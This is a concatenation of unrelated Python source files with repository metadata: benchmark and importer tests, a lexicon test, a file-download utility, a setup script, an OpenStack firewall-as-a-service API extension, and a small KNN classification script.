benchmark.NAME_CSV_REGISTRATION_PAIRS, benchmark.NAME_RESULTS_CSV, benchmark.NAME_RESULTS_TXT ]: self.assertTrue( os.path.isfile(os.path.join(path_bm, file_name)), msg='Missing "%s" file in the BM experiment' % file_name ) # load registration file path_csv = os.path.join(path_bm, benchmark.NAME_CSV_REGISTRATION_PAIRS) df_regist = pd.read_csv(path_csv, index_col=0) # only two items in the benchmark self.assertEqual( len(df_regist), len(benchmark._df_overview), msg='Found only %i records instead of %i' % (len(df_regist), len(benchmark._df_overview)) ) # test presence of particular columns for col in list(benchmark.COVER_COLUMNS) + [benchmark.COL_IMAGE_MOVE_WARP]: self.assertIn(col, df_regist.columns, msg='Missing column "%s" in result table' % col) cols_lnds_warp = [ col in df_regist.columns for col in [benchmark.COL_POINTS_REF_WARP, benchmark.COL_POINTS_MOVE_WARP] ] self.assertTrue(any(cols_lnds_warp), msg='Missing any column of warped landmarks') col_lnds_warp = benchmark.COL_POINTS_REF_WARP if cols_lnds_warp[0] \ else benchmark.COL_POINTS_MOVE_WARP # check existence of all mentioned files for _, row in df_regist.iterrows(): self.assertTrue( os.path.isfile(os.path.join(path_bm, row[benchmark.COL_IMAGE_MOVE_WARP])), msg='Missing image "%s"' % row[benchmark.COL_IMAGE_MOVE_WARP] ) self.assertTrue( os.path.isfile(os.path.join(path_bm, row[col_lnds_warp])), msg='Missing landmarks "%s"' % row[col_lnds_warp] ) # check existence of statistical results for stat_name in ['Mean', 'STD', 'Median', 'Min', 'Max']: self.assertTrue( any(stat_name in col for col in df_regist.columns), msg='Missing statistics "%s"' % stat_name ) # test specific results assert_array_almost_equal(sorted(df_regist['TRE Mean'].values), np.array(final_means), decimal=0) assert_array_almost_equal(sorted(df_regist['TRE STD'].values), np.array(final_stds), decimal=0) def test_try_wrap(self): self.assertIsNone(try_wrap()) def test_argparse(self): with patch('argparse._sys.argv', ['script.py']): args = parse_arg_params(argparse.ArgumentParser()) self.assertIsInstance(args, dict) def test_argparse_images(self): with patch('argparse._sys.argv', ['script.py', '-i', 'an_image.png']): args = args_expand_parse_images(argparse.ArgumentParser()) self.assertIsInstance(args, dict) def test_fail_visual(self): fig = ImRegBenchmark._visual_image_move_warp_lnds_move_warp({ImRegBenchmark.COL_POINTS_MOVE_WARP: 'abc'}) self.assertIsNone(fig) fig = ImRegBenchmark._visual_image_move_warp_lnds_ref_warp({ImRegBenchmark.COL_POINTS_REF_WARP: 'abc'}) self.assertIsNone(fig) fig = ImRegBenchmark.visualise_registration((0, {})) self.assertIsNone(fig) @try_decorator def try_wrap(): return '%i' % '42'

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0.63654

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8,752

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0

null

0

1

0

null

0

1

1bf2d4c209e500db17a5c6d33e7442b5b858b75b

343

py

Python

sum.py

PraghadeshManivannan/Built-in-Functions-Python

a3120641e03e7be8e1408dd467997ad6fdf04d87

[ "MIT" ]

null

sum.py

PraghadeshManivannan/Built-in-Functions-Python

a3120641e03e7be8e1408dd467997ad6fdf04d87

[ "MIT" ]

null

sum.py

PraghadeshManivannan/Built-in-Functions-Python

a3120641e03e7be8e1408dd467997ad6fdf04d87

[ "MIT" ]

null

#sum(iterable, start=0, /) #Return the sum of a 'start' value (default: 0) plus an iterable of numbers #When the iterable is empty, return the start value. '''This function is intended specifically for use with numeric values and may reject non-numeric types.''' a = [1,3,5,7,9,4,6,2,8] print(sum(a)) print(sum(a,start = 4))

24.5

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null

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null

0

1

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1

1bf74b762d2902af1c8ee402ce83c52345c29025

5,266

py

Python

tests/commonsense/semantic_lexicon_knowledge/ai2_lexicon_test.py

keisks/propara

49fa8fe0481291df18b2c7b48e7ba1dafaad48e2

[ "Apache-2.0" ]

84

2018-06-02T02:00:53.000Z

2022-03-13T12:17:42.000Z

tests/commonsense/semantic_lexicon_knowledge/ai2_lexicon_test.py

keisks/propara

49fa8fe0481291df18b2c7b48e7ba1dafaad48e2

[ "Apache-2.0" ]

3

2018-10-31T00:28:31.000Z

2020-05-12T01:06:53.000Z

tests/commonsense/semantic_lexicon_knowledge/ai2_lexicon_test.py

keisks/propara

49fa8fe0481291df18b2c7b48e7ba1dafaad48e2

[ "Apache-2.0" ]

13

2018-09-14T20:37:51.000Z

2021-03-23T09:24:49.000Z

from unittest import TestCase from propara.commonsense.semantic_lexicon_knowledge.ai2_lexicon import AI2Lexicon, AI2LexiconPredicate, AI2LexiconArg, AI2LexiconIndications, \ AI2LexiconPattern class TestAI2Lexicon(TestCase): def setUp(self): self.lexicon_fp = "tests/fixtures/ie/TheSemanticLexicon-v3.0_withadj.tsv" def testLoads(self): self.lexicon = AI2Lexicon(self.lexicon_fp) # print(f"evaporate.subj: {self.lexicon.what_happens_to_subj('evaporate', has_agent=True, has_patient=False)}") # print(f"evaporate.obj: {self.lexicon.what_happens_to_obj('evaporate', has_agent=True, has_patient=False)}") # # print(f"evaporate.subj: {self.lexicon.what_happens_to_subj('evaporate')}") # print(f"evaporate.obj: {self.lexicon.what_happens_to_obj('evaporate')}") # v2 doesn't contain size, temperature, phase attributes # infile = "tests/fixtures/ie/ai2-lexicon-v2.tsv" # the following path is useful when debugging from browser. # self.lexicon = AI2Lexicon("tests/fixtures/ie/TheSemanticLexicon-v3.0_withadj.tsv") assert self.lexicon._after_subj(("blend in", AI2LexiconPattern.SO)) == { AI2LexiconPredicate.IS_AT: AI2LexiconArg.OBJECT, AI2LexiconPredicate.NOT_IS_AT: AI2LexiconArg.PREP_SRC, } assert self.lexicon._after_obj(("absorb", AI2LexiconPattern.SO))[ AI2LexiconPredicate.IS_AT] == AI2LexiconArg.SUBJECT # assert self.lexicon._after_obj(("absorbs", AI2LexiconPattern.SO)).get(AI2LexiconPredicate.IS_AT, "") == AI2LexiconArg.SUBJECT assert len(self.lexicon._after_obj(("blend in", AI2LexiconPattern.SO))) == 0 assert len(self.lexicon._after_obj(("blend blend2", AI2LexiconPattern.SO))) == 0 assert AI2LexiconIndications.MOVED not in self.lexicon.what_happens_to_subj("absorbs") assert AI2LexiconIndications.MOVED in self.lexicon.what_happens_to_obj("absorbs") assert AI2LexiconIndications.CREATED in self.lexicon.what_happens_to_obj("sprout") assert AI2LexiconIndications.CREATED in self.lexicon.what_happens_to_subj("sprout", has_agent=True, has_patient=False) assert AI2LexiconIndications.DESTROYED not in self.lexicon.what_happens_to_subj("sprout") assert AI2LexiconIndications.DESTROYED not in self.lexicon.what_happens_to_obj("sprout") assert AI2LexiconIndications.TEMPERATURE_INC not in self.lexicon.what_happens_to_obj("turn") assert AI2LexiconIndications.TEMPERATURE_INC in self.lexicon.what_happens_to_subj("gets hot") assert AI2LexiconIndications.SIZE_INC in self.lexicon.what_happens_to_subj("gets bigger") assert AI2LexiconIndications.SIZE_INC in self.lexicon.what_happens_to_subj("become bigger") assert AI2LexiconIndications.SIZE_INC in self.lexicon.what_happens_to_subj("turned bigger") assert AI2LexiconIndications.SIZE_INC not in self.lexicon.what_happens_to_obj("turns into bigger") assert AI2LexiconIndications.MOVED not in self.lexicon.what_happens_to_subj("turned") assert AI2LexiconIndications.PHASE_UNK_GAS in self.lexicon.what_happens_to_subj("turned gaseous") assert AI2LexiconIndications.PHASE_LIQUID_SOLID in self.lexicon.what_happens_to_subj("solidify", has_agent=True, has_patient=False) assert AI2LexiconIndications.PHASE_LIQUID_SOLID in self.lexicon.what_happens_to_obj("solidify", has_agent=True, has_patient=True) assert AI2LexiconIndications.PHASE_UNK_SOLID not in self.lexicon.what_happens_to_subj("solidifies") assert AI2LexiconIndications.PHASE_SOLID_GAS in self.lexicon.what_happens_to_subj("sublime", has_agent=True, has_patient=False) assert AI2LexiconIndications.PHASE_SOLID_GAS in self.lexicon.what_happens_to_obj("sublime", has_agent=True, has_patient=True) # if agent and patient both are present or only 1 # the difference is whether object is given or not # this happens for all verbs that can be both transitive/intransitive # they will have 2 entries. # # A big rock stops the stream of water from uphill => stream of water moved from uphill to rock # car stops at the intersection ==> car moved to intersection # we have removed lots of fine details in the patterns (VerbNet had much more info there) # if agent and patient both are present or only 1 def test_type_of_pattern(self): input = "SUBJECT VERB OBJECT PREP-SRC PREP-DEST" assert AI2Lexicon.type_of_pattern(input) == AI2LexiconPattern.SO input = "SUBJECT VERB OBJECT" assert AI2Lexicon.type_of_pattern(input) == AI2LexiconPattern.SO input = "SUBJECT VERB PREP-SRC PREP-DEST" assert AI2Lexicon.type_of_pattern(input) == AI2LexiconPattern.S

71.162162

143

0.681732

614

5,266

5.630293

0.245928

0.101822

0.099798

0.14637

0.663581

0.64015

0.568412

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0.472375

0.405265

0

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0.238131

5,266

73

144

72.136986

0.84671

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0

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1

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false

0

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0

0.12766

0

null

0

null

0

1

0

1

4007ccb371063c993bd22bb2370d18838e357a3f

3,218

py

Python

extractor/util.py

bcskda/vk-archive-deepercopy

3619b94eb3e0f5f67860022cdfb2074e457c0cd2

[ "Unlicense" ]

1

2020-04-24T09:24:31.000Z

extractor/util.py

bcskda/vk-archive-deepercopy

3619b94eb3e0f5f67860022cdfb2074e457c0cd2

[ "Unlicense" ]

null

extractor/util.py

bcskda/vk-archive-deepercopy

3619b94eb3e0f5f67860022cdfb2074e457c0cd2

[ "Unlicense" ]

null

import functools import glob import itertools import logging import os from progressbar import progressbar import re import requests from typing import List class ValueSingleDispatch: def __init__(self): self._handlers = dict() def register(self, key): def decorator(fn: callable): if key in self._handlers: raise KeyError(key) self._handlers[key] = fn return fn return decorator def call(self, key, *args, **kwargs): if key not in self._handlers: raise KeyError(key) return self._handlers[key](*args, **kwargs) def valid_keys(self): return self._handlers.keys() def alphanumeric_glob(pattern: str): """Glob and sort alpahnumerically. Limitations: exactly one `*', no `?', file names with single extention.""" matches = glob.glob(pattern) asterisk_pos = pattern.find('*') matches.sort(key=lambda name: int(name[asterisk_pos:name.rfind('.')])) return matches def findall_in_files(pattern: re.Pattern, filenames: List[str], encoding: str) -> re.Match: """Generator""" for filename in filenames: logging.debug('util.findall_in_files: input file %s', filename) with open(filename, 'rb') as ifile: for match in pattern.findall(ifile.read().decode(encoding)): logging.debug('util.findall_in_files(): match: file = %s, text = %s', filename, match) yield match def make_pattern(url_regex: str, extentions: List[str]) -> re.Pattern: if extentions: ext_regex = '({})'.format('|'.join(extentions)) else: ext_regex = '()' return re.compile(url_regex.format(extentions=ext_regex)) def download_by_pattern(url_regex: str, filenames: List[str], output_dir: str, *, extentions=[], encoding='windows-1251', limit=None): logging.debug('util.download_by_pattern(): pattern = %s, extentions = %s', url_regex, extentions) pattern = make_pattern(url_regex, extentions) matches = findall_in_files(pattern, filenames, encoding) if limit is not None: matches = itertools.islice(matches, limit) matches = list(matches) logging.info('util.download_by_pattern(): %d matches', len(matches)) os.makedirs(output_dir, exist_ok=True) downloads = 0 # TODO statistics by extention for idx, (url, ext) in progressbar(enumerate(matches), max_value=len(matches)): local_name = '{:07d}'.format(idx) + '_' + os.path.basename(url) try: download(url, os.path.join(output_dir, local_name)) downloads += 1 except Exception as e: logging.warning('util.download_by_pattern(): unhandled exception: url = %s, e = %s', match_url, e) logging.info('util.download_by_pattern(): %d successful downloads', downloads) if downloads < len(matches): logging.warning('util.download_by_pattern(): %d downloads failed, see log for warnings', len(matches) - downloads) def download(url: str, local_path: str) -> bool: logging.debug('util.download(): url = %s, local = %s', url, local_path) req = requests.get(url) with open(local_path, 'wb') as ofile: ofile.write(req.content)

38.771084

134

0.657551

408

3,218

5.04902

0.330882

0.034951

0.049515

0.050971

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0.124272

0.032039

0

0.003168

0.215351

3,218

82

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39.243902

0.812673

0.044438

0

0.029412

0

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0.059073

0

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0

1

0.147059

false

0

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0.014706

0.382353

0

null

0

null

0

1

0

1

400afc4da001a8c030925a65e03f44b9ed050772

1,637

py

Python

setup.py

gillins/pyshepseg

bfa8d157d610bf4f581a2500d0afb42d4f92d59b

[ "MIT" ]

5

2021-02-03T05:02:56.000Z

2022-01-31T07:55:20.000Z

setup.py

gillins/pyshepseg

bfa8d157d610bf4f581a2500d0afb42d4f92d59b

[ "MIT" ]

14

2021-02-03T04:18:48.000Z

2022-01-24T03:50:22.000Z

setup.py

gillins/pyshepseg

bfa8d157d610bf4f581a2500d0afb42d4f92d59b

[ "MIT" ]

13

2021-02-03T03:41:17.000Z

2022-01-24T04:21:23.000Z

#Copyright 2021 Neil Flood and Sam Gillingham. All rights reserved. # #Permission is hereby granted, free of charge, to any person #obtaining a copy of this software and associated documentation #files (the "Software"), to deal in the Software without restriction, #including without limitation the rights to use, copy, modify, #merge, publish, distribute, sublicense, and/or sell copies of the #Software, and to permit persons to whom the Software is furnished #to do so, subject to the following conditions: # #The above copyright notice and this permission notice shall be #included in all copies or substantial portions of the Software. # #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, #EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES #OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. #IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR #ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF #CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION #WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. from numpy.distutils.core import setup import pyshepseg setup(name='pyshepseg', version=pyshepseg.SHEPSEG_VERSION, description='Python implementation of the image segmentation algorithm described by Shepherd et al', author='Neil Flood and Sam Gillingham', scripts=['bin/test_pyshepseg.py', 'bin/test_pyshepseg_tiling.py', 'bin/test_pyshepseg_subset.py'], packages=['pyshepseg'], license='LICENSE.txt', url='https://github.com/ubarsc/pyshepseg' )

46.771429

106

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1,637

5.287554

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0.024351

0.040584

0

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0.175321

1,637

34

107

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0.90963

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0

0.478424

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0

1

0

true

0

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0.166667

0

null

0

null

0

1

0

1

401988f94a7b7ebda02b1f821bbce411385f8136

3,885

py

Python

pupa/tests/importers/test_base_importer.py

influence-usa/pupa

5105c39a535ad401f7babe4eecb3861bed1f8326

[ "BSD-3-Clause" ]

null

pupa/tests/importers/test_base_importer.py

influence-usa/pupa

5105c39a535ad401f7babe4eecb3861bed1f8326

[ "BSD-3-Clause" ]

3

2015-06-09T19:22:50.000Z

2015-06-09T21:41:22.000Z

pupa/tests/importers/test_base_importer.py

influence-usa/pupa

5105c39a535ad401f7babe4eecb3861bed1f8326

[ "BSD-3-Clause" ]

null

import os import json import shutil import tempfile import mock import pytest from opencivicdata.models import Person from pupa.scrape import Person as ScrapePerson from pupa.scrape import Organization as ScrapeOrganization from pupa.importers.base import omnihash, BaseImporter from pupa.importers import PersonImporter, OrganizationImporter from pupa.exceptions import UnresolvedIdError, DataImportError class FakeImporter(BaseImporter): _type = 'test' def test_omnihash_python_types(): # string assert omnihash('test') == omnihash('test') # list assert omnihash(['this', 'is', 'a', 'list']) == omnihash(['this', 'is', 'a', 'list']) # set assert omnihash({'and', 'a', 'set'}) == omnihash({'set', 'set', 'and', 'a'}) # dict w/ set and tuple as well assert (omnihash({'a': {('fancy', 'nested'): {'dict'}}}) == omnihash({'a': {('fancy', 'nested'): {'dict'}}})) def test_import_directory(): # write out some temp data to filesystem datadir = tempfile.mkdtemp() dicta = {'test': 'A'} dictb = {'test': 'B'} open(os.path.join(datadir, 'test_a.json'), 'w').write(json.dumps(dicta)) open(os.path.join(datadir, 'test_b.json'), 'w').write(json.dumps(dictb)) # simply ensure that import directory calls import_data with all dicts ti = FakeImporter('jurisdiction-id') with mock.patch.object(ti, attribute='import_data') as mockobj: ti.import_directory(datadir) # import_data should be called once assert mockobj.call_count == 1 # kind of hacky, get the total list of args passed in arg_objs = list(mockobj.call_args[0][0]) # 2 args only, make sure a and b are in there assert len(arg_objs) == 2 assert dicta in arg_objs assert dictb in arg_objs # clean up datadir shutil.rmtree(datadir) # doing these next few tests just on a Person because it is the same code that handles it # but for completeness maybe it is better to do these on each type? @pytest.mark.django_db def test_deduplication_identical_object(): p1 = ScrapePerson('Dwayne').as_dict() p2 = ScrapePerson('Dwayne').as_dict() PersonImporter('jid').import_data([p1, p2]) assert Person.objects.count() == 1 @pytest.mark.django_db def test_exception_on_identical_objects_in_import_stream(): # these two objects aren't identical, but refer to the same thing # at the moment we consider this an error (but there may be a better way to handle this?) o1 = ScrapeOrganization('X-Men', classification='unknown').as_dict() o2 = ScrapeOrganization('X-Men', founding_date='1970', classification='unknown').as_dict() with pytest.raises(Exception): OrganizationImporter('jid').import_data([o1, o2]) @pytest.mark.django_db def test_resolve_json_id(): p1 = ScrapePerson('Dwayne').as_dict() p2 = ScrapePerson('Dwayne').as_dict() pi = PersonImporter('jid') # do import and get database id p1_id = p1['_id'] p2_id = p2['_id'] pi.import_data([p1, p2]) db_id = Person.objects.get().id # simplest case assert pi.resolve_json_id(p1_id) == db_id # duplicate should resolve to same id assert pi.resolve_json_id(p2_id) == db_id # a null id should map to None assert pi.resolve_json_id(None) is None # no such id with pytest.raises(UnresolvedIdError): pi.resolve_json_id('this-is-invalid') @pytest.mark.django_db def test_invalid_fields(): p1 = ScrapePerson('Dwayne').as_dict() p1['newfield'] = "shouldn't happen" with pytest.raises(DataImportError): PersonImporter('jid').import_data([p1]) @pytest.mark.django_db def test_invalid_fields_related_item(): p1 = ScrapePerson('Dwayne') p1.add_link('http://example.com') p1 = p1.as_dict() p1['links'][0]['test'] = 3 with pytest.raises(DataImportError): PersonImporter('jid').import_data([p1])

31.585366

94

0.686486

543

3,885

4.775322

0.344383

0.030852

0.034709

0.257231

0.163903

0.115696

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0.183526

3,885

122

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0.80517

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null

0

null

0

1

0

1

401fd2803f10b2fab1010a7dfe0776cbe8cc8571

11,612

py

Python

neutron_fwaas/extensions/firewall_v2.py

sapcc/neutron-fwaas

59bad17387d15f86ea7d08f8675208160a999ffe

[ "Apache-2.0" ]

null

neutron_fwaas/extensions/firewall_v2.py

sapcc/neutron-fwaas

59bad17387d15f86ea7d08f8675208160a999ffe

[ "Apache-2.0" ]

null

neutron_fwaas/extensions/firewall_v2.py

sapcc/neutron-fwaas

59bad17387d15f86ea7d08f8675208160a999ffe

[ "Apache-2.0" ]

null

# Copyright (c) 2016 Mirantis, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import abc from debtcollector import moves from neutron.api.v2 import resource_helper from neutron_lib.api.definitions import constants as api_const from neutron_lib.api.definitions import firewall_v2 from neutron_lib.api import extensions from neutron_lib.exceptions import firewall_v2 as f_exc from neutron_lib.services import base as service_base from oslo_config import cfg import six from neutron_fwaas._i18n import _ from neutron_fwaas.common import fwaas_constants FirewallGroupNotFound = moves.moved_class( f_exc.FirewallGroupNotFound, 'FirewallGroupNotFound', __name__) FirewallGroupInUse = moves.moved_class( f_exc.FirewallGroupInUse, 'FirewallGroupInUse', __name__) FirewallGroupInPendingState = moves.moved_class( f_exc.FirewallGroupInPendingState, 'FirewallGroupInPendingState', __name__) FirewallGroupPortInvalid = moves.moved_class( f_exc.FirewallGroupPortInvalid, 'FirewallGroupPortInvalid', __name__) FirewallGroupPortInvalidProject = moves.moved_class( f_exc.FirewallGroupPortInvalidProject, 'FirewallGroupPortInvalidProject', __name__) FirewallGroupPortInUse = moves.moved_class( f_exc.FirewallGroupPortInUse, 'FirewallGroupPortInUse', __name__) FirewallPolicyNotFound = moves.moved_class( f_exc.FirewallPolicyNotFound, 'FirewallPolicyNotFound', __name__) FirewallPolicyInUse = moves.moved_class( f_exc.FirewallPolicyInUse, 'FirewallPolicyInUse', __name__) FirewallPolicyConflict = moves.moved_class( f_exc.FirewallPolicyConflict, 'FirewallPolicyConflict', __name__) FirewallRuleSharingConflict = moves.moved_class( f_exc.FirewallRuleSharingConflict, 'FirewallRuleSharingConflict', __name__) FirewallPolicySharingConflict = moves.moved_class( f_exc.FirewallPolicySharingConflict, 'FirewallPolicySharingConflict', __name__) FirewallRuleNotFound = moves.moved_class( f_exc.FirewallRuleNotFound, 'FirewallRuleNotFound', __name__) FirewallRuleInUse = moves.moved_class( f_exc.FirewallRuleInUse, 'FirewallRuleInUse', __name__) FirewallRuleNotAssociatedWithPolicy = moves.moved_class( f_exc.FirewallRuleNotAssociatedWithPolicy, 'FirewallRuleNotAssociatedWithPolicy', __name__) FirewallRuleInvalidProtocol = moves.moved_class( f_exc.FirewallRuleInvalidProtocol, 'FirewallRuleInvalidProtocol', __name__) FirewallRuleInvalidAction = moves.moved_class( f_exc.FirewallRuleInvalidAction, 'FirewallRuleInvalidAction', __name__) FirewallRuleInvalidICMPParameter = moves.moved_class( f_exc.FirewallRuleInvalidICMPParameter, 'FirewallRuleInvalidICMPParameter', __name__) FirewallRuleWithPortWithoutProtocolInvalid = moves.moved_class( f_exc.FirewallRuleWithPortWithoutProtocolInvalid, 'FirewallRuleWithPortWithoutProtocolInvalid', __name__) FirewallRuleInvalidPortValue = moves.moved_class( f_exc.FirewallRuleInvalidPortValue, 'FirewallRuleInvalidPortValue', __name__) FirewallRuleInfoMissing = moves.moved_class( f_exc.FirewallRuleInfoMissing, 'FirewallRuleInfoMissing', __name__) FirewallIpAddressConflict = moves.moved_class( f_exc.FirewallIpAddressConflict, 'FirewallIpAddressConflict', __name__) FirewallInternalDriverError = moves.moved_class( f_exc.FirewallInternalDriverError, 'FirewallInternalDriverError', __name__) FirewallRuleConflict = moves.moved_class( f_exc.FirewallRuleConflict, 'FirewallRuleConflict', __name__) FirewallRuleAlreadyAssociated = moves.moved_class( f_exc.FirewallRuleAlreadyAssociated, 'FirewallRuleAlreadyAssociated', __name__) default_fwg_rules_opts = [ cfg.StrOpt('ingress_action', default=api_const.FWAAS_DENY, help=_('Firewall group rule action allow or ' 'deny or reject for ingress. ' 'Default is deny.')), cfg.StrOpt('ingress_source_ipv4_address', default=None, help=_('IPv4 source address for ingress ' '(address or address/netmask). ' 'Default is None.')), cfg.StrOpt('ingress_source_ipv6_address', default=None, help=_('IPv6 source address for ingress ' '(address or address/netmask). ' 'Default is None.')), cfg.StrOpt('ingress_source_port', default=None, help=_('Source port number or range ' '(min:max) for ingress. ' 'Default is None.')), cfg.StrOpt('ingress_destination_ipv4_address', default=None, help=_('IPv4 destination address for ingress ' '(address or address/netmask). ' 'Default is None.')), cfg.StrOpt('ingress_destination_ipv6_address', default=None, help=_('IPv6 destination address for ingress ' '(address or address/netmask). ' 'Default is deny.')), cfg.StrOpt('ingress_destination_port', default=None, help=_('Destination port number or range ' '(min:max) for ingress. ' 'Default is None.')), cfg.StrOpt('egress_action', default=api_const.FWAAS_ALLOW, help=_('Firewall group rule action allow or ' 'deny or reject for egress. ' 'Default is allow.')), cfg.StrOpt('egress_source_ipv4_address', default=None, help=_('IPv4 source address for egress ' '(address or address/netmask). ' 'Default is None.')), cfg.StrOpt('egress_source_ipv6_address', default=None, help=_('IPv6 source address for egress ' '(address or address/netmask). ' 'Default is deny.')), cfg.StrOpt('egress_source_port', default=None, help=_('Source port number or range ' '(min:max) for egress. ' 'Default is None.')), cfg.StrOpt('egress_destination_ipv4_address', default=None, help=_('IPv4 destination address for egress ' '(address or address/netmask). ' 'Default is deny.')), cfg.StrOpt('egress_destination_ipv6_address', default=None, help=_('IPv6 destination address for egress ' '(address or address/netmask). ' 'Default is deny.')), cfg.StrOpt('egress_destination_port', default=None, help=_('Destination port number or range ' '(min:max) for egress. ' 'Default is None.')), cfg.BoolOpt('shared', default=False, help=_('Firewall group rule shared. ' 'Default is False.')), cfg.StrOpt('protocol', default=None, help=_('Network protocols (tcp, udp, ...). ' 'Default is None.')), cfg.BoolOpt('enabled', default=True, help=_('Firewall group rule enabled. ' 'Default is True.')), ] firewall_quota_opts = [ cfg.IntOpt('quota_firewall_group', default=10, help=_('Number of firewall groups allowed per tenant. ' 'A negative value means unlimited.')), cfg.IntOpt('quota_firewall_policy', default=10, help=_('Number of firewall policies allowed per tenant. ' 'A negative value means unlimited.')), cfg.IntOpt('quota_firewall_rule', default=100, help=_('Number of firewall rules allowed per tenant. ' 'A negative value means unlimited.')), ] cfg.CONF.register_opts(default_fwg_rules_opts, 'default_fwg_rules') cfg.CONF.register_opts(firewall_quota_opts, 'QUOTAS') # TODO(Reedip): Remove the convert_to functionality after bug1706061 is fixed. def convert_to_string(value): if value is not None: return str(value) return None firewall_v2.RESOURCE_ATTRIBUTE_MAP[api_const.FIREWALL_RULES][ 'source_port']['convert_to'] = convert_to_string firewall_v2.RESOURCE_ATTRIBUTE_MAP[api_const.FIREWALL_RULES][ 'destination_port']['convert_to'] = convert_to_string class Firewall_v2(extensions.APIExtensionDescriptor): api_definition = firewall_v2 @classmethod def get_resources(cls): special_mappings = {'firewall_policies': 'firewall_policy'} plural_mappings = resource_helper.build_plural_mappings( special_mappings, firewall_v2.RESOURCE_ATTRIBUTE_MAP) return resource_helper.build_resource_info( plural_mappings, firewall_v2.RESOURCE_ATTRIBUTE_MAP, fwaas_constants.FIREWALL_V2, action_map=firewall_v2.ACTION_MAP, register_quota=True) @classmethod def get_plugin_interface(cls): return Firewallv2PluginBase @six.add_metaclass(abc.ABCMeta) class Firewallv2PluginBase(service_base.ServicePluginBase): def get_plugin_type(self): return fwaas_constants.FIREWALL_V2 def get_plugin_description(self): return 'Firewall Service v2 Plugin' # Firewall Group @abc.abstractmethod def create_firewall_group(self, context, firewall_group): pass @abc.abstractmethod def delete_firewall_group(self, context, id): pass @abc.abstractmethod def get_firewall_group(self, context, id, fields=None): pass @abc.abstractmethod def get_firewall_groups(self, context, filters=None, fields=None): pass @abc.abstractmethod def update_firewall_group(self, context, id, firewall_group): pass # Firewall Policy @abc.abstractmethod def create_firewall_policy(self, context, firewall_policy): pass @abc.abstractmethod def delete_firewall_policy(self, context, id): pass @abc.abstractmethod def get_firewall_policy(self, context, id, fields=None): pass @abc.abstractmethod def get_firewall_policies(self, context, filters=None, fields=None): pass @abc.abstractmethod def update_firewall_policy(self, context, id, firewall_policy): pass # Firewall Rule @abc.abstractmethod def create_firewall_rule(self, context, firewall_rule): pass @abc.abstractmethod def delete_firewall_rule(self, context, id): pass @abc.abstractmethod def get_firewall_rule(self, context, id, fields=None): pass @abc.abstractmethod def get_firewall_rules(self, context, filters=None, fields=None): pass @abc.abstractmethod def update_firewall_rule(self, context, id, firewall_rule): pass @abc.abstractmethod def insert_rule(self, context, id, rule_info): pass @abc.abstractmethod def remove_rule(self, context, id, rule_info): pass

38.323432

79

0.673527

1,161

11,612

6.445306

0.18863

0.013364

0.048109

0.051316

0.458773

0.362021

0.297875

0.289189

0.246559

0

0.006266

0.244058

11,612

302

80

38.450331

0.846206

0.058388

0

0.384

0

0.239923

0.074936

0

0.003311

0

1

0.088

false

0.068

0.048

0.012

0.172

0

null

0

null

0

1

0

1

4022d54aeba2badfe2c92ef3c771f491343dff82

1,919

py

Python

teste/knn.py

joandesonandrade/nebulosa

5bc157322ed0bdb81f6f00f6ed1ea7f7a5cadfe0

[ "MIT" ]

null

teste/knn.py

joandesonandrade/nebulosa

5bc157322ed0bdb81f6f00f6ed1ea7f7a5cadfe0

[ "MIT" ]

null

teste/knn.py

joandesonandrade/nebulosa

5bc157322ed0bdb81f6f00f6ed1ea7f7a5cadfe0

[ "MIT" ]

null

from sklearn import preprocessing import pandas as pd import numpy as np #import matplotlib.pyplot as plt #Abrindo o dados como Dataframe dados = pd.read_csv('dados/001.csv') #Iniciando o método para binanizar as classe sim=1; não=0 pre = preprocessing.LabelBinarizer() #Binazirando a classe jogou, e atribuíndo a uma matriz n-dimencional y_binary = pre.fit_transform(dados['jogou']) y = np.array(y_binary).ravel() lista_clima = [x for x in dados['clima']] lista_temperatura = [x for x in dados['temperatura']] lista_jogou = [x for x in dados['jogou']] pre = preprocessing.LabelEncoder() clima_encoding = pre.fit_transform(lista_clima) temperatura_encoding = pre.fit_transform(lista_temperatura) jogou_encoding = pre.fit_transform(lista_jogou) lista = list(zip(clima_encoding, temperatura_encoding, jogou_encoding)) X = np.array(lista, dtype=np.int32) #colunas = ['A', 'B', 'C'] # print(pd.DataFrame(X, columns=colunas, dtype=np.int32)) # print(pd.DataFrame(y, columns=['Classe'], dtype=np.int32)) # # xX = [] # for i, x in enumerate(X): # xX.append([list(x), y[i][0]]) # # dX = [(x[0][0] + x[0][1] + x[0][2]) for x in xX] # dY = [x[1] for x in xX] # # print('Soma dos rótulos:', dX) # print('Classe:', dY) # # fig, ax = plt.subplots() # ax.plot(dX) # ax.plot(dY) # plt.show() from sklearn import model_selection from sklearn.metrics import accuracy_score from sklearn.neighbors import KNeighborsClassifier #Dividido os dados, onde o treinamento ficará com 75% e teste 25%, eu sempre uso este padrão :) X_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, test_size=0.25, random_state=0) #Gerando o modelo, vou deixar os parâmetros padrão knn = KNeighborsClassifier() #Treinando o modelo knn.fit(X=X_train, y=y_train) #Avaliando a pontuação do modelo, usando os dados de teste pontuacao = str(accuracy_score(y_test, knn.predict(X_test)) * 100) print("Precisão: "+pontuacao+"%")

28.641791

105

0.727983

308

1,919

4.422078

0.396104

0.013216

0.022026

0.015419

0.088106

0

0.01804

0.133403

1,919

66

106

29.075758

0.800962

0.414278

0

0.045537

0

0.015152

0

1

0

false

0

0.25

0

0.25

0.041667

0

null

0

null

0

1

0

1

40255e51d495409353d842161452761a11a4b039

8,940

py

Python

components/google-cloud/tests/container/experimental/gcp_launcher/test_batch_prediction_job_remote_runner.py

m-mayran/pipelines

4e89973504980ff89d896fda09fc29a339b2d744

[ "Apache-2.0" ]

null
